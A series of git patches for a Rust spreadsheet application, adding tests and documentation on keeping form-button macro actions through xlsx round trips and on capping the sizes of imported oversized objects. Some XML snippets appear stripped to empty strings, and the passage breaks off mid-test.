ba770b598..8dce29fcd 100644 --- a/crates/engine/src/tests/controls.rs +++ b/crates/engine/src/tests/controls.rs @@ -420,6 +420,109 @@ fn a_kept_button_action_comes_back_only_on_the_same_button() { "{i}" ); } + // Another application cleared the macro of "Fixed": the stored action (with its fixed input) + // does not bring the assignment back. The command on a button given no macro still does. + let mut cleared = kept(&stored); + cleared.sheet_mut(0).unwrap().controls[2].action = None; + load_action_names(&mut cleared); + assert_eq!(cleared.sheets[0].controls[2].action, None, "the removed assignment stays removed"); + assert_eq!(cleared.sheets[0].controls[0].action, actions(&wb)[0], "the command comes back"); +} + +/// The saved xlsx bytes of `s`'s workbook. +fn saved_xlsx(s: &mut Session) -> Vec { + let r = s.execute("file.saveBytes", json!({"format": "xlsx"})).unwrap(); + crate::io::base64_decode(r["base64"].as_str().unwrap()).unwrap() +} + +/// `bytes` with `edit` applied to the text of every part, as another application that rewrote +/// those parts would leave the file. +fn edit_parts(bytes: &[u8], mut edit: impl FnMut(&str, String) -> String) -> Vec { + use std::io::{Cursor, Read, Write}; + let mut zip = zip::ZipArchive::new(Cursor::new(bytes)).unwrap(); + let mut out = zip::ZipWriter::new(Cursor::new(Vec::new())); + for i in 0..zip.len() { + let mut part = zip.by_index(i).unwrap(); + let name = part.name().to_string(); + let mut data = Vec::new(); + part.read_to_end(&mut data).unwrap(); + let data = match String::from_utf8(data) { + Ok(text) => edit(&name, text).into_bytes(), + Err(e) => e.into_bytes(), + }; + out.start_file(name, zip::write::SimpleFileOptions::default()).unwrap(); + out.write_all(&data).unwrap(); + } + out.finish().unwrap().into_inner() +} + +/// Opens `bytes` as `name`, checks the hidden name of the button actions is taken back out, and +/// lists the controls. +fn open_and_list(s: &mut Session, name: &str, bytes: &[u8]) -> Json { + s.execute("file.open", json!({"name": name, "base64": crate::io::base64_encode(bytes)})).unwrap(); + assert!(s.doc().unwrap().wb.names.iter().all(|n| !n.name.contains("control_actions")), "{name}: the hidden name is taken back out"); + s.execute("control.list", json!({})).unwrap() +} + +/// The macro reference xlsx writes for a button that runs `Mark`. +const MARK: &str = "[0]!Mark"; + +/// Another application removed a button's macro assignment and kept the button with its name and +/// place: the hidden name's copy of the action (with the fixed input and the output cell) does not +/// bring the assignment back. The same file, unedited, reopens with the whole action. +#[test] +fn a_macro_assignment_removed_in_another_application_stays_removed() { + let mut s = s(); + s.execute("macro.save", json!({"name": "Mark", "steps": [{"command": "cell.set", "params": {"cell": "Input.cell(1,1)", "input": "m"}}], "inputs": [{"name": "Input", "kind": "range"}], "output": {"onConflict": "overwrite"}})).unwrap(); + s.execute("insert.button", json!({"at": "D2", "text": "Run", "macro": "Mark", "input": "F1:G2", "output": "H1"})).unwrap(); + let before = s.execute("control.list", json!({})).unwrap()[0].clone(); + let full = ControlAction::Macro { name: "Mark".into(), input: MacroInput::Fixed("F1:G2".into()), output: Some("H1".into()) }; + assert_eq!(before["action"], serde_json::to_value(&full).unwrap()); + let bytes = saved_xlsx(&mut s); + // xlsx assigns the macro in the sheet's `` and in the VML shape's + // `` (the parts the reader takes it from); clearing the assignment drops both. + let (attr, fmla) = (format!(" macro=\"{MARK}\""), format!("{MARK}")); + let mut edited = Vec::new(); + let cleared = edit_parts(&bytes, |name, text| { + if text.contains(&attr) || text.contains(&fmla) { + edited.push(name.to_string()); + } + text.replace(&attr, "").replace(&fmla, "") + }); + edited.sort(); + assert_eq!(edited, ["xl/drawings/vmlDrawing1.vml", "xl/worksheets/sheet1.xml"]); + let list = open_and_list(&mut s, "cleared.xlsx", &cleared); + assert_eq!(list.as_array().unwrap().len(), 1); + for key in ["kind", "name", "at", "text"] { + assert_eq!(list[0][key], before[key], "{key}: the same button"); + } + assert_eq!(list[0].get("action"), None, "the removed assignment stays removed"); + // Unedited, the file still assigns the macro, and the action comes back whole. + let list = open_and_list(&mut s, "kept.xlsx", &bytes); + assert_eq!(list[0]["action"], before["action"]); +} + +/// Another application assigned a macro to a button that ran a command (kept in the hidden name): +/// the file's macro wins, as it does when a macro button is given another macro. +#[test] +fn a_macro_assigned_in_another_application_replaces_a_stored_command() { + let mut s = s(); + s.execute("macro.save", json!({"name": "Mark", "steps": [{"command": "cell.set", "params": {"cell": "A1", "input": "m"}}]})).unwrap(); + s.execute("insert.button", json!({"at": "D2", "text": "Run", "command": "cell.set", "params": {"cell": "A9", "input": "cmd"}})).unwrap(); + let bytes = saved_xlsx(&mut s); + let (pr, data) = (""); + let mut edited = Vec::new(); + let assigned = edit_parts(&bytes, |name, text| { + if text.contains(pr) || text.contains(data) { + edited.push(name.to_string()); + } + text.replace(pr, &format!("{MARK}")) + }); + edited.sort(); + assert_eq!(edited, ["xl/drawings/vmlDrawing1.vml", "xl/worksheets/sheet1.xml"]); + let list = open_and_list(&mut s, "assigned.xlsx", &assigned); + let plain = ControlAction::Macro { name: "Mark".into(), input: MacroInput::Selection, output: None }; + assert_eq!(list[0]["action"], serde_json::to_value(&plain).unwrap(), "the file's macro, not the stored command"); } #[test] diff --git a/docs/file-format-parity.md b/docs/file-format-parity.md index 697dfc696..1cc453a28 100644 --- a/docs/file-format-parity.md +++ b/docs/file-format-parity.md @@ -76,7 +76,7 @@ past the parser's limit, and a wrapper inside the text. **Saving writes the real | Format | Excel | GridCraft read | GridCraft write | Fidelity / notes | Tests | |---|---|---|---|---|---| -| `.xlsx` Excel Workbook (transitional) | R/W, native | yes | yes | Cells, shared/array/dynamic formulas, shared strings (with their Japanese phonetic runs — ふりがな — kept through open + save: `` offsets and readings and `` are written back next to the same string; the table holds each text once, so duplicate `` items whose text is the same but whose readings differ keep only the first reading, with a warning on open), styles, themes, merges, CF, validation, tables, comments and notes, hyperlinks, names, freeze panes, outline, print settings, pictures, shapes, charts (simplified, see [chart-parity.md](chart-parity.md)), sparklines, PivotTables (caches and tables), form controls (buttons, scroll bars and spin buttons: control properties parts, `` and VML `x:ClientData`; a VML-only control is read too), protection, calc settings, show objects (`workbookPr showObjects`). **Kept unchanged on save (pass-through, `passthrough.rs`):** custom document properties, ribbon customisation and add-in task panes, custom XML, links to external workbooks (never followed or refreshed), data connections, sheet query tables, printer settings (#324), other form controls (check boxes, list boxes, drop-downs; written in the same `` element and VML drawing as the modelled ones), ActiveX controls, OLE objects and sheet backgrounds (with their VML shapes), and chart sheets (#727: the sheet, drawing, chart, style and colour parts are written back unchanged in their place, and left out when a sheet they plot was deleted or renamed or a worksheet took their name; they can't be edited or created); dropped when their sheet is deleted or their parts point at content GridCraft rewrites. **Not preserved:** slicers and slicer caches, timelines, data model, query tables attached to tables, sheet and workbook `extLst` entries we don't model, chart details; Strict Open XML files keep nothing. Never checked in Excel across a corpus: repair prompts unknown. 100 MB files fail (#175) A picture used on several sheets is written once (#985). | `roundtrip.rs`, `fixtures.rs`, `malformed.rs`, `pivot_tests.rs` | +| `.xlsx` Excel Workbook (transitional) | R/W, native | yes | yes | Cells, shared/array/dynamic formulas, shared strings (with their Japanese phonetic runs — ふりがな — kept through open + save: `` offsets and readings and `` are written back next to the same string; the table holds each text once, so duplicate `` items whose text is the same but whose readings differ keep only the first reading, with a warning on open), styles, themes, merges, CF, validation, tables, comments and notes, hyperlinks, names, freeze panes, outline, print settings, pictures, shapes, charts (simplified, see [chart-parity.md](chart-parity.md)), sparklines, PivotTables (caches and tables), form controls (buttons, scroll bars and spin buttons: control properties parts, `` and VML `x:ClientData`; a VML-only control is read too; a button's command, fixed input range or output cell travels in a hidden defined name and comes back only onto the same button while the file still assigns its macro, or none for a command), protection, calc settings, show objects (`workbookPr showObjects`). **Kept unchanged on save (pass-through, `passthrough.rs`):** custom document properties, ribbon customisation and add-in task panes, custom XML, links to external workbooks (never followed or refreshed), data connections, sheet query tables, printer settings (#324), other form controls (check boxes, list boxes, drop-downs; written in the same `` element and VML drawing as the modelled ones), ActiveX controls, OLE objects and sheet backgrounds (with their VML shapes), and chart sheets (#727: the sheet, drawing, chart, style and colour parts are written back unchanged in their place, and left out when a sheet they plot was deleted or renamed or a worksheet took their name; they can't be edited or created); dropped when their sheet is deleted or their parts point at content GridCraft rewrites. **Not preserved:** slicers and slicer caches, timelines, data model, query tables attached to tables, sheet and workbook `extLst` entries we don't model, chart details; Strict Open XML files keep nothing. Never checked in Excel across a corpus: repair prompts unknown. 100 MB files fail (#175) A picture used on several sheets is written once (#985). | `roundtrip.rs`, `fixtures.rs`, `malformed.rs`, `pivot_tests.rs` | | `.xlsx` Excel Workbook (transitional) | R/W, native | yes | yes | Cells, shared/array/dynamic formulas, shared strings (with their Japanese phonetic runs — ふりがな — kept through open + save: `` offsets and readings and `` are written back next to the same string; the table holds each text once, so duplicate `` items whose text is the same but whose readings differ keep only the first reading, with a warning on open), styles, themes, merges, CF, validation, tables, notes (with their shown/hidden state) and threaded comments with replies, resolved state and timestamps (`threadedComments` and `persons` parts, #300), hyperlinks, names, freeze panes, outline, print settings, pictures, shapes, charts (simplified, see [chart-parity.md](chart-parity.md)), sparklines, PivotTables (caches and tables), protection, calc settings, show objects (`workbookPr showObjects`). **Not preserved:** unmodelled parts and extensions (form controls, slicer caches, timelines, external links, OLE objects, custom XML, data model, query tables, chart details). Never checked in Excel across a corpus: repair prompts unknown. 100 MB files fail (#175) A picture used on several sheets is written once (#985). | `roundtrip.rs`, `fixtures.rs`, `malformed.rs`, `pivot_tests.rs` | | `.xlsx` Excel Workbook (transitional) | R/W, native | yes | yes | Cells, shared/array/dynamic formulas, shared strings (with their Japanese phonetic runs — ふりがな — kept through open + save: `` offsets and readings and `` are written back next to the same string; the table holds each text once, so duplicate `` items whose text is the same but whose readings differ keep only the first reading, with a warning on open), styles, themes, merges, CF, validation, tables, comments and notes, hyperlinks, names, freeze panes, outline, print settings, pictures, shapes, charts (simplified, see [chart-parity.md](chart-parity.md)), sparklines, PivotTables (caches and tables), protection, Allow Edit Ranges (`protectedRanges` with their password hashes, #307), calc settings, show objects (`workbookPr showObjects`). **Not preserved:** unmodelled parts and extensions (form controls, slicer caches, timelines, external links, OLE objects, custom XML, data model, query tables, chart details). Never checked in Excel across a corpus: repair prompts unknown. 100 MB files fail (#175) A picture used on several sheets is written once (#985). | `roundtrip.rs`, `fixtures.rs`, `malformed.rs`, `pivot_tests.rs` | | `.xlsx` Excel Workbook (transitional) | R/W, native | yes | yes | Cells, shared/array/dynamic formulas, styles, themes (the major/minor `latin`, East Asian `ea` and complex-script `cs` typefaces and the per-script `` lists are kept through a save), merges, CF, validation, tables, comments and notes, hyperlinks, names, freeze panes, outline, print settings, pictures, shapes, charts (simplified, see [chart-parity.md](chart-parity.md)), sparklines, PivotTables (caches and tables), protection, calc settings. **Kept unchanged on save (pass-through, `passthrough.rs`):** custom document properties, ribbon customisation and add-in task panes, custom XML, links to external workbooks (never followed or refreshed), data connections, sheet query tables, printer settings (#324), form controls, ActiveX controls, OLE objects and sheet backgrounds (with their VML shapes), pictures in headers and footers (`&G`, #1257: their VML drawing and images are written back unchanged; they are not shown, and can't be inserted), and chart sheets (#727: the sheet, drawing, chart, style and colour parts are written back unchanged in their place, and left out when a sheet they plot was deleted or renamed or a worksheet took their name; they can't be edited or created); dropped when their sheet is deleted or their parts point at content GridCraft rewrites. **Not preserved:** slicers and slicer caches, timelines, data model, query tables attached to tables, sheet and workbook `extLst` entries we don't model, chart details; Strict Open XML files keep nothing. Never checked in Excel across a corpus: repair prompts unknown. 100 MB files fail (#175) | `roundtrip.rs`, `fixtures.rs`, `malformed.rs`, `pivot_tests.rs` | @@ -145,7 +145,7 @@ refresh. Counted under features (Get & Transform, ~10% ready), not here. | Date | Change | Summary | |---|---|---| -| 2026-11-02 | minor | XLSX: buttons, scroll bars and spin buttons read and written (control properties parts, ``, VML `x:ClientData`); other form controls stay with pass-through | +| 2026-11-02 | minor | XLSX: buttons, scroll bars and spin buttons read and written (control properties parts, ``, VML `x:ClientData`); other form controls stay with pass-through; a button's command, fixed input or output cell travels in a hidden defined name and comes back only while the file still assigns the button's macro (or none, for a command) | | 2026-11-01 | minor | Chart data tables preserve showKeys, showHorzBorder, showVertBorder and showOutline through native c:dTable XLSX import/export; synthetic tests cover all 16 flag combinations and boolean defaults. Excel-side verification remains outstanding. | | 2026-11-01 | minor | XLSX reads and writes Page Setup's page order: `` for Over, then down, and no attribute for Down, then over (the default), as Excel writes them; PDF export and printing number and order the pages by it | | 2026-11-01 | trivial | XLSX selects the first visible workbook view as one unit and bounds imported/exported tab ratios; isolated attributes and sheet-edit round trips covered, with firstSheet left to #2264 (#3057) | diff --git a/docs/macros.md b/docs/macros.md index 11e1030a8..8073b2fcd 100644 --- a/docs/macros.md +++ b/docs/macros.md @@ -1,6 +1,6 @@ # Macros -> **Last updated:** 2026-11-02 · **Change:** minor (form buttons run macros; `macro.run` takes `output`; earlier: a close that waits on the step editor's question runs in the editor's window, and a further close asked meanwhile waits for the answer or is refused; earlier: closing a workbook or quitting asks about the step editor's unsaved draft first; recording macros and the management commands; Record Macro takes a name, shortcut and description; the macro interface: Automate › Macros, the Macros and Record Macro dialogs, the step editor, shortcuts) +> **Last updated:** 2026-11-02 · **Change:** minor (form buttons run macros, `macro.run` takes `output`, and a button action kept in a hidden name comes back on reopen only while the file still agrees with it; earlier: a close that waits on the step editor's question runs in the editor's window, and a further close asked meanwhile waits for the answer or is refused; earlier: closing a workbook or quitting asks about the step editor's unsaved draft first; recording macros and the management commands; Record Macro takes a name, shortcut and description; the macro interface: Automate › Macros, the Macros and Record Macro dialogs, the step editor, shortcuts) GridCraft macros are typed, declarative lists of commands, not VBA. Every step runs a GridCraft command (the same ids the ribbon, CLI and MCP use) or one of three bounded control steps. A macro @@ -265,6 +265,16 @@ default) or always on one range (`input: "B2:D9"`), with an optional output cell a step does, inside the scripts' file sandbox unless it is an approved file command, so a button in a workbook opened from a file asks before it runs anything. +In xlsx a button carries its macro as Excel writes it (`macro="[0]!Name"`, a macro run on the +selection). A command, a fixed input range or an output cell has no place there and is kept in a +hidden defined name (`_gc_control_actions_`), keyed by the sheet, the button's place, name and +anchor cell. When the file is opened the hidden name is removed and each kept action goes back +onto its button only when the file still agrees with it: a kept macro action needs the file to +assign that macro still, so an assignment removed in another application stays removed and a +button given another macro keeps that one; a kept command needs the file to assign no macro. A +button whose name, anchor cell or place changed, or which another application removed, gets no +kept action. + Macros are saved in the workbook: as a field in GridCraft's JSON format, and in xlsx as hidden defined names (`_gc_macro__`, the macro's JSON split into string literals within Excel's limits), which other spreadsheet applications keep but do not run. A visible name of that shape From 21a27a76be53c7dfc227284210358c976d16e99e Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Mon, 2 Nov 2026 01:57:49 -0500 Subject: [PATCH 042/167] Objects: main's chart data table compiles with the object selection and the model's object test Two leftovers of the merge of origin/main (25881a8e), neither a textual conflict: `Chart` gained a `data_table` field, which the `push_object` helper of the model's object test did not set (it is `None`, as in `insert.chart`); and chart_data_table.rs set the `selected_chart` field this branch replaced by `selected_object`. The test selects its chart as a floating object, as the branch's other tests do. --- crates/model/src/sheet.rs | 1 + crates/ui-egui/tests/it/chart_data_table.rs | 3 ++- 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/crates/model/src/sheet.rs b/crates/model/src/sheet.rs index 9956500d0..b97372097 100644 --- a/crates/model/src/sheet.rs +++ b/crates/model/src/sheet.rs @@ -718,6 +718,7 @@ mod tests { series: vec![], legend: LegendPos::default(), data_labels: false, + data_table: None, gridlines: false, style: 0, x_title: None, diff --git a/crates/ui-egui/tests/it/chart_data_table.rs b/crates/ui-egui/tests/it/chart_data_table.rs index aedb1ebfc..a94e5a16b 100644 --- a/crates/ui-egui/tests/it/chart_data_table.rs +++ b/crates/ui-egui/tests/it/chart_data_table.rs @@ -1,6 +1,7 @@ use egui::accesskit::Role; use egui_kittest::kittest::Queryable; use gridcraft_engine::Session; +use gridcraft_engine::model::{ObjKind, ObjRef}; use serde_json::json; #[test] @@ -10,7 +11,7 @@ fn format_chart_pane_controls_the_engine_data_table() { session.execute("range.setValues", json!({"range": "A1", "values": [["Quarter", "North", "South"], ["Q1", 10, 30], ["Q2", 30, 10]]})).unwrap(); let id = session.execute("insert.chart", json!({"range": "A1:C3", "type": "column", "at": "E3"})).unwrap()["chart"].as_u64().unwrap() as u32; let mut h = crate::support::harness(session, 4); - h.state_mut().selected_chart = Some(id); + h.state_mut().selected_object = Some(ObjRef::new(ObjKind::Chart, id)); h.state_mut().grid.pane = Some("formatChart".into()); h.run_steps(2); h.get_by_role_and_label(Role::DisclosureTriangle, "Data Table").click(); From 381a1213394bd6d5649277af0e59650293af85fe Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Mon, 2 Nov 2026 01:52:03 -0500 Subject: [PATCH 043/167] Objects: object.move and chart.set keep a size a file made larger than 10,000 `object.move` clamped `width` and `height` to 10,000 points, the most it gives a new size, while the XLSX reader accepts anchors far past that. A resize of a picture a file made 12,000 wide passed 11,990 through the clamp and jumped to 10,000; `chart.set`, whose Format Chart pane sends the unchanged dimension back with the edited one, clamped the same way. Each dimension is now capped at 10,000 or the object's current size, whichever is larger (`size_cap`): such an object keeps its size when it is moved, shrinks by what a resize asks and never grows further, and a hostile size is still capped. The params doc of `object.move` and the control protocol notes say so. Tests: an_oversized_imported_object_keeps_its_size_when_moved_and_shrinks_only_by_a_resize makes a picture 12,000 by 300, writes and reads it back as a file, then moves it without a size (12,000 stays), asks 12,010 (stays 12,000), 11,990 (11,990, no jump) and 50,000 by 50,000 (11,990 by 10,000). chart_set_keeps_a_chart_size_a_file_made_larger_than_the_limit does the same through `chart.set`. Both fail without the fix (width 10,000). --- crates/engine/src/cmd/insert.rs | 22 +++++++++--- crates/engine/src/tests/objects.rs | 58 ++++++++++++++++++++++++++++++ docs/control-protocol.md | 3 ++ 3 files changed, 78 insertions(+), 5 deletions(-) diff --git a/crates/engine/src/cmd/insert.rs b/crates/engine/src/cmd/insert.rs index 479d15b9c..940d24873 100644 --- a/crates/engine/src/cmd/insert.rs +++ b/crates/engine/src/cmd/insert.rs @@ -152,7 +152,7 @@ pub fn specs() -> Vec { "Move Object", [], None, - "{kind: chart|image|shape|slicer, id, at?: \"C3\", dx?, dy?, width?, height?}", + "{kind: chart|image|shape|slicer, id, at?: \"C3\", dx?, dy?, width?, height? (each at most 10,000 points, or the object's current size when a file made it larger)}", has_doc, move_object ), @@ -933,10 +933,10 @@ fn chart_set(s: &mut Session, p: &Json) -> Result { c.anchor.cell = at; } if let Some(w) = f64_param(p, "width") { - c.anchor.width = w.clamp(20.0, 10000.0) as f32; + c.anchor.width = w.clamp(20.0, size_cap(c.anchor.width)) as f32; } if let Some(h) = f64_param(p, "height") { - c.anchor.height = h.clamp(20.0, 10000.0) as f32; + c.anchor.height = h.clamp(20.0, size_cap(c.anchor.height)) as f32; } if let Some(v) = f64_param(p, "dx") { c.anchor.dx = v as f32; @@ -1248,6 +1248,18 @@ fn delete_object(s: &mut Session, p: &Json) -> Result { /// Largest offset (points) `object.move` accepts from the anchor cell. const MAX_OBJECT_OFFSET: f64 = 100_000.0; +/// Largest width or height (points) `object.move` and `chart.set` give an object that is not +/// already larger: see [`size_cap`]. +const MAX_OBJECT_SIZE: f64 = 10_000.0; + +/// The most a command may make a dimension that is `current` now: [`MAX_OBJECT_SIZE`], or the +/// current size when a file made the object larger (the XLSX reader accepts anchors far past the +/// limit). Such an object keeps its size when it is moved and shrinks by what a resize asks, but +/// it never grows further, so hostile input is still capped. Never NaN: `f64::max` drops one. +fn size_cap(current: f32) -> f64 { + MAX_OBJECT_SIZE.max(f64::from(current)) +} + fn move_object(s: &mut Session, p: &Json) -> Result { let (sheet, o) = object_param(s, p, "object.move")?; let at = cell_param(s, p, "at")?; @@ -1263,10 +1275,10 @@ fn move_object(s: &mut Session, p: &Json) -> Result { a.dy = v.clamp(-MAX_OBJECT_OFFSET, MAX_OBJECT_OFFSET) as f32; } if let Some(v) = f64_param(p, "width") { - a.width = v.clamp(1.0, 10000.0) as f32; + a.width = v.clamp(1.0, size_cap(a.width)) as f32; } if let Some(v) = f64_param(p, "height") { - a.height = v.clamp(0.0, 10000.0) as f32; + a.height = v.clamp(0.0, size_cap(a.height)) as f32; } Ok(Json::Null) }) diff --git a/crates/engine/src/tests/objects.rs b/crates/engine/src/tests/objects.rs index e590f4851..c10844fb8 100644 --- a/crates/engine/src/tests/objects.rs +++ b/crates/engine/src/tests/objects.rs @@ -301,3 +301,61 @@ fn object_ids_stay_unique_when_a_file_used_the_largest_id() { ids.dedup(); assert_eq!(ids.len(), 6, "every shape id is distinct across both sheets"); } + +/// A file's anchors are not held to the 10,000 points `object.move` gives a new size. A picture +/// a file made 12,000 wide keeps that width when it is moved, shrinks by what a resize asks +/// (11,990 stays 11,990, no jump to 10,000) and never grows further; a dimension the file kept +/// within the limit is still capped there. +#[test] +fn an_oversized_imported_object_keeps_its_size_when_moved_and_shrinks_only_by_a_resize() { + let mut s = s(); + let image = super::add_image(&mut s, "B2", AnchorMode::MoveOnly); + // The file's picture is 12,000 by 300: set on the model, then written and read back as a file. + { + let wb = std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb); + let a = wb.sheet_mut(0).unwrap().object_anchor_mut(ObjRef::new(ObjKind::Image, image)).unwrap(); + a.width = 12_000.0; + a.height = 300.0; + } + let saved = s.execute("file.saveBytes", json!({"format": "xlsx"})).unwrap(); + s.execute("file.open", json!({"name": "wide.xlsx", "base64": saved["base64"]})).unwrap(); + let o = ObjRef::new(ObjKind::Image, sheet(&s, 0).images[0].id); + let size = |s: &Session| { + let a = sheet(s, 0).object_anchor(o).unwrap(); + (a.width.round(), a.height.round()) + }; + assert_eq!(size(&s), (12_000.0, 300.0), "the reader keeps the file's size"); + s.execute("object.move", json!({"kind": "image", "id": o.id, "at": "D5", "dx": 3, "dy": 4})).unwrap(); + let a = sheet(&s, 0).object_anchor(o).unwrap(); + assert_eq!((a.cell, a.dx, a.dy), (at("D5"), 3.0, 4.0)); + assert_eq!(size(&s), (12_000.0, 300.0), "a move without a size keeps the file's size"); + s.execute("object.move", json!({"kind": "image", "id": o.id, "width": 12_010})).unwrap(); + assert_eq!(size(&s), (12_000.0, 300.0), "the object does not grow past what the file gave"); + s.execute("object.move", json!({"kind": "image", "id": o.id, "width": 11_990})).unwrap(); + assert_eq!(size(&s), (11_990.0, 300.0), "a resize shrinks by what it asks, with no jump to 10,000"); + s.execute("object.move", json!({"kind": "image", "id": o.id, "width": 50_000, "height": 50_000})).unwrap(); + assert_eq!(size(&s), (11_990.0, 10_000.0), "hostile sizes are capped: at the current width, and at 10,000 for a height the file kept within it"); +} + +/// `chart.set` follows the same rule: the Format Chart pane's Size fields send the unchanged +/// dimension back with the edited one, so a chart a file made 12,000 wide keeps that width when +/// its height is edited, shrinks by what is asked and never grows further. +#[test] +fn chart_set_keeps_a_chart_size_a_file_made_larger_than_the_limit() { + let mut s = s(); + s.execute("range.setValues", json!({"range": "A1", "values": [[1], [2], [3]]})).unwrap(); + let chart = id_of(&s.execute("insert.chart", json!({"range": "A1:A3", "type": "column", "at": "C2"})).unwrap(), "chart"); + // The file's chart is 12,000 wide (set on the model, as a loaded file would). + let wb = std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb); + wb.sheet_mut(0).unwrap().charts.iter_mut().find(|c| c.id == chart).unwrap().anchor.width = 12_000.0; + let size = |s: &Session| { + let c = sheet(s, 0).charts.iter().find(|c| c.id == chart).unwrap(); + (c.anchor.width, c.anchor.height) + }; + s.execute("chart.set", json!({"chart": chart, "width": 12_000, "height": 250})).unwrap(); + assert_eq!(size(&s), (12_000.0, 250.0), "the unchanged width sent back with a new height stays"); + s.execute("chart.set", json!({"chart": chart, "width": 11_990})).unwrap(); + assert_eq!(size(&s), (11_990.0, 250.0), "a resize shrinks by what it asks"); + s.execute("chart.set", json!({"chart": chart, "width": 50_000, "height": 50_000})).unwrap(); + assert_eq!(size(&s), (11_990.0, 10_000.0), "hostile sizes are capped at the current width and at 10,000"); +} diff --git a/docs/control-protocol.md b/docs/control-protocol.md index b5822da64..9c3d0bc13 100644 --- a/docs/control-protocol.md +++ b/docs/control-protocol.md @@ -94,6 +94,9 @@ them as their own parameters. `ui.inspect` reports the selected floating object as `selectedObject: {kind, id}` (or `null`), where `kind` is `chart`, `image`, `shape` or `slicer`; the same names go in the `kind` parameter of `object.delete`, `object.move`, `object.setAnchorMode` and the `arrange.*` commands. +`object.move` and `chart.set` cap `width` and `height` at 10,000 points, or at the object's +current size when a file made it larger: such an object keeps its size when it is moved and +shrinks by what a resize asks, but does not grow further. `selectedChart` remains for existing clients: the id when the selection is a chart, otherwise `null`. With an object selected, `ui.key {key: "Delete"}` (or Backspace) deletes the object instead of clearing cells, and Escape clears the selection. From af28f01bfdf7c913420050efa14d9e846f725a6e Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Mon, 2 Nov 2026 01:52:03 -0500 Subject: [PATCH 044/167] Objects: dragging an object's body sends its position only, not its size `drag_object` sent `width` and `height` with every step of a body drag, so moving a picture a file made 12,000 wide shrank it to the 10,000 that `object.move` gives a new size. Only a handle drag sends a size now; a body move leaves the engine's size alone. Tests (real input): dragging_the_body_of_an_oversized_imported_object_keeps_its_size reopens the workbook with a 12,000 by 60 picture, drags its body by 30 by 25 and checks the size is untouched, the picture moved with the pointer and the journaled `object.move` carries no width or height; it fails without the fix (the journaled command carries both, and without the engine's cap the picture is 10,000 wide). a_handle_drag_on_an_oversized_imported_object_resizes_by_the_drag_only moves the left handle 10 px right: the picture is 10 points narrower in the window and keeps a width near 12,000, with no jump to the limit. --- crates/ui-egui/src/grid/interact.rs | 12 +++++- crates/ui-egui/tests/it/objects.rs | 62 +++++++++++++++++++++++++++++ 2 files changed, 72 insertions(+), 2 deletions(-) diff --git a/crates/ui-egui/src/grid/interact.rs b/crates/ui-egui/src/grid/interact.rs index 4b7adf587..5de25fd53 100644 --- a/crates/ui-egui/src/grid/interact.rs +++ b/crates/ui-egui/src/grid/interact.rs @@ -974,11 +974,19 @@ fn drag_object(app: &mut SheetApp, geo: &Geo, sh: &Sheet, p: Pos2) { }; // Re-anchor at the cell under the new top-left. let nc = CellRef::new(sh.row_at(y0 as f64), sh.col_at(x0 as f64)); - let params = json!({ + let mut params = json!({ "kind": obj.kind.name(), "id": obj.id, "at": nc.a1(), "dx": x0 - sh.col_left(nc.col) as f32, "dy": y0 - sh.row_top(nc.row) as f32, - "width": x1 - x0, "height": y1 - y0, }); + // Only a handle changes the size. A body move sends none, so the engine keeps whatever the + // object has: a file can make it larger than `object.move` accepts for a new size, and + // moving it must not shrink it to that limit. + if handle.is_some() + && let Some(p) = params.as_object_mut() + { + p.insert("width".into(), json!(x1 - x0)); + p.insert("height".into(), json!(y1 - y0)); + } let revision = app.session.active().map(|d| d.revision); let _ = app.session.run("object.move", params); if stepped { diff --git a/crates/ui-egui/tests/it/objects.rs b/crates/ui-egui/tests/it/objects.rs index e3382352d..e0c272817 100644 --- a/crates/ui-egui/tests/it/objects.rs +++ b/crates/ui-egui/tests/it/objects.rs @@ -362,3 +362,65 @@ fn dragging_an_unselected_object_by_its_edge_moves_it() { assert!((after.size() - before.size()).length() < 0.5, "not resized: {before:?} {after:?}"); assert!((after.min - before.min - vec2(30.0, 20.0)).length() < 1.0, "moved with the pointer: {before:?} {after:?}"); } + +fn anchor(h: &Harness, o: ObjRef) -> gridcraft_engine::model::Anchor { + h.state().session.doc().unwrap().wb.active().unwrap().object_anchor(o).unwrap() +} + +/// Makes the fixture's picture 12,000 by 60 and reopens the workbook from its XLSX bytes, the way +/// a file can carry an object wider than the 10,000 points `object.move` gives a new size. +/// Returns the picture as reopened. +fn imported_oversized_picture(h: &mut Harness, o: &Objects) -> ObjRef { + { + let wb = std::sync::Arc::make_mut(&mut h.state_mut().session.doc_mut().unwrap().wb); + let a = wb.sheet_mut(0).unwrap().object_anchor_mut(o.image).unwrap(); + a.width = 12_000.0; + a.height = 60.0; + } + let saved = h.state_mut().run("file.saveBytes", json!({"format": "xlsx"})).unwrap(); + h.state_mut().run("file.open", json!({"name": "wide.xlsx", "base64": saved["base64"]})).unwrap(); + h.run_steps(4); + let pic = ObjRef::new(ObjKind::Image, h.state().session.doc().unwrap().wb.active().unwrap().images[0].id); + let a = anchor(h, pic); + assert_eq!((a.width.round(), a.height.round()), (12_000.0, 60.0), "the reader keeps the file's size: {a:?}"); + pic +} + +/// Dragging the body of such a picture moves it and sends no size, so nothing shrinks it to the +/// limit on the way. +#[test] +fn dragging_the_body_of_an_oversized_imported_object_keeps_its_size() { + let (mut h, o) = fixture(); + let pic = imported_oversized_picture(&mut h, &o); + let before = rect(&h, pic); + // Well inside the body, on the part of the picture in view and clear of the handles' reach. + let grab = before.left_top() + vec2(30.0, 30.0); + click(&mut h, grab); + assert_eq!(h.state().selected_object, Some(pic)); + drag(&mut h, grab, grab + vec2(30.0, 25.0)); + let a = anchor(&h, pic); + assert_eq!((a.width.round(), a.height.round()), (12_000.0, 60.0), "the size is untouched: {a:?}"); + let after = rect(&h, pic); + assert!((after.min - before.min - vec2(30.0, 25.0)).length() < 1.0, "moved with the pointer: {before:?} {after:?}"); + // The drag sent the position only: the engine saw no size to cap. + let (_, p) = h.state().session.journal.iter().rev().find(|(id, _)| id == "object.move").unwrap(); + assert!(p.get("width").is_none() && p.get("height").is_none(), "a body move sends no size: {p}"); +} + +/// A handle drag on such a picture resizes it by the drag only: the left handle moved 10 px to +/// the right leaves it 11,990 wide, with no jump to 10,000. +#[test] +fn a_handle_drag_on_an_oversized_imported_object_resizes_by_the_drag_only() { + let (mut h, o) = fixture(); + let pic = imported_oversized_picture(&mut h, &o); 